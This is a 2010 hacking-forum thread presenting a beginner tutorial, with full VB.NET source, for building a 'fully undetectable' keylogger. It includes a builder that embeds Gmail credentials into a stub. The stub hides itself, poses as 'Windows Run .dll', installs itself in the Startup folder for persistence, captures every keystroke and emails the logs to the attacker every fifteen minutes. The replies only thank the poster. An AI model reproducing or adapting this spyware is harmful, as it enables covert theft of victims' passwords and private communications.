Grey Hats
Welcome to GreyHats Forums,
Please register or log in if you already have an account.
Search
 
 

Display results as :
 


Rechercher Advanced Search

Latest topics
» xat name
Tue Nov 01, 2011 12:04 pm by cjl2008

» time i come on now
Tue Oct 11, 2011 1:39 pm by cjl2008

» im busy, please read
Tue Oct 11, 2011 1:34 pm by cjl2008

» ill be gone for the day or half of the day
Sat Oct 01, 2011 10:21 am by cjl2008

» Updates on the site
Sat Oct 01, 2011 8:46 am by cjl2008

» CAMF GreyHats Sig.
Sat Oct 01, 2011 8:25 am by cjl2008

» i'll be back on the site the site thursday (tomarrow)
Sat Oct 01, 2011 8:07 am by cjl2008

» Avast! free antivirus
Sat Oct 01, 2011 12:30 am by CAMF

» You can now donate!
Thu Sep 29, 2011 12:08 am by CAMF

Navigation
 Portal
 Index
 Memberlist
 Profile
 FAQ
 Search

[TuT]Coding Your Own Keylogger(FUD) No Previous Programming Knowledge Needed.(+Video)

Go down

[TuT]Coding Your Own Keylogger(FUD) No Previous Programming Knowledge Needed.(+Video)

Post by Guest on Sat Oct 09, 2010 8:08 pm

Credits go to Vorfin of HFhttp://www.hackforums.net/showthread.php?tid=151737



To make this keylogger we will be using Visual Basic.Net so our first step is to download it.

A video tutorial. (Scroll Down For The Text One)
Download The Video In HD: http://www.mediafire.com/download.php?jyojjjynlwf



Lets begin, open it up and go File, New Project, Highlight "Windows Forms Application" And call it "Logic Keylogger" Then OK

Now you will see the basic outline of your program. Go to the toolbox (On the left) And add two text boxes, two labels, and one button. Lay them out like this.


Now right click on the form and click view code, Ctrl-A then Delete.

Now paste this in.
Code:
Imports System.IO
Public Class Form1
    Dim stub, text1, text2 As String
    Const FileSplit = "@vorfin@"
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        For Fadein = 0.0 To 1.1 Step 0.1
            Me.Opacity = Fadein
            Me.Refresh()
            Threading.Thread.Sleep(100)
        Next
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        text1 = TextBox1.Text
        text2 = TextBox2.Text
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        If File.Exists("Lserver.exe") Then
            My.Computer.FileSystem.DeleteFile("Lserver.exe")
        End If
        FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
        FileClose(1)
    End Sub
End Class

Now go file, save all, and save it. Then click Build, Build Logic Keylogger.

OK, your builder is created click File, New Project, Forms Application, stub, OK.

This time add three timers, in the bottom right change the times as such.
Timer1-Interval=100
Timer2-Interval=900000
Timer3-Interval=900100

Change the name of the form to "Windows Run .dll", set it opacity to 0% and change "Show Icon In Taskbar" to False.

Next add three text boxes as such.


Big Text Box = Text Box 1 (Set it to "Enabled=False")
Left Text Box = Text Box 2
Right Text Box = Text Box 3

Again, right click, view code, delete, paste this in.
Code:
Imports System.IO
Imports System.Net.Mail
Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Dim options(), text1, text2 As String
    Const FileSplit = "@vorfin@"
    Dim Lserver As String = IO.Path.GetFileName(Application.ExecutablePath)
    Dim vDirectory As String
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        text1 = Space(LOF(1))
        text2 = Space(LOF(1))
        FileGet(1, text1)
        FileGet(1, text2)
        FileClose(1)
        options = Split(text1, FileSplit)
        TextBox2.Text = options(1)
        TextBox3.Text = options(2)
        vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
        Dim zDir As New DirectoryInfo(vDirectory)
        If Not zDir.Exists Then
            My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" & Lserver, True)
        Else
            My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" & Lserver, True)
        End If
        Timer1.Start()
        Timer2.Start()
        Timer3.Start()
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim MyMailMessage As New MailMessage
        MyMailMessage.From = New MailAddress(TextBox2.Text)
        MyMailMessage.To.Add(TextBox2.Text)
        MyMailMessage.Subject = ("Logs")
        MyMailMessage.Body = (TextBox1.Text)
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
    End Sub
    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        TextBox1.Clear()
    End Sub
End Class

Now again, save it then build it.

Go to "C\:Dir\Logic Keylogger\bin\release" and put the .exe on your desktop.
And do the same with the stub.

Now run "Logic Keylogger" Enter information, click build.

Well done, you have just made your first keylogger.

Note: The stub may not be deleted, but doesn't need to be sent with the server.

Note2: This keylogger will try to add to the startup folder on XP, to make it work on Vista remove this from the second code.
Code:
vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
        Dim zDir As New DirectoryInfo(vDirectory)
        If Not zDir.Exists Then
            My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" & Lserver, True)
        Else
            My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" & Lserver, True)
        End If

Guest
Guest


Back to top Go down

Re: [TuT]Coding Your Own Keylogger(FUD) No Previous Programming Knowledge Needed.(+Video)

Post by CAMF on Sat Oct 09, 2010 10:59 pm

Haha thanks tom

_________________
Image and video hosting by TinyPic
avatar
CAMF
Webmaster/Developer/Sponsor
Webmaster/Developer/Sponsor

Posts : 31
Points : 15551
Reputation : 26
Join date : 2010-10-09
Age : 22
Location : United States

View user profile http://greyhats.userboard.net

Back to top Go down

Re: [TuT]Coding Your Own Keylogger(FUD) No Previous Programming Knowledge Needed.(+Video)

Post by Guest on Sat Oct 09, 2010 10:59 pm

No problemo :p



TOFUCKINGSHORTIDON'TKNOWHY

Guest
Guest


Back to top Go down

Re: [TuT]Coding Your Own Keylogger(FUD) No Previous Programming Knowledge Needed.(+Video)

Post by i r god on Sun Oct 10, 2010 4:17 pm

Thank you man, this helped tremendously

i r god
Sergeant
Sergeant

Posts : 25
Points : 9
Reputation : 7
Join date : 2010-10-10
Age : 22
Location : no where

View user profile

Back to top Go down

Re: [TuT]Coding Your Own Keylogger(FUD) No Previous Programming Knowledge Needed.(+Video)

Post by Sponsored content


Sponsored content


Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum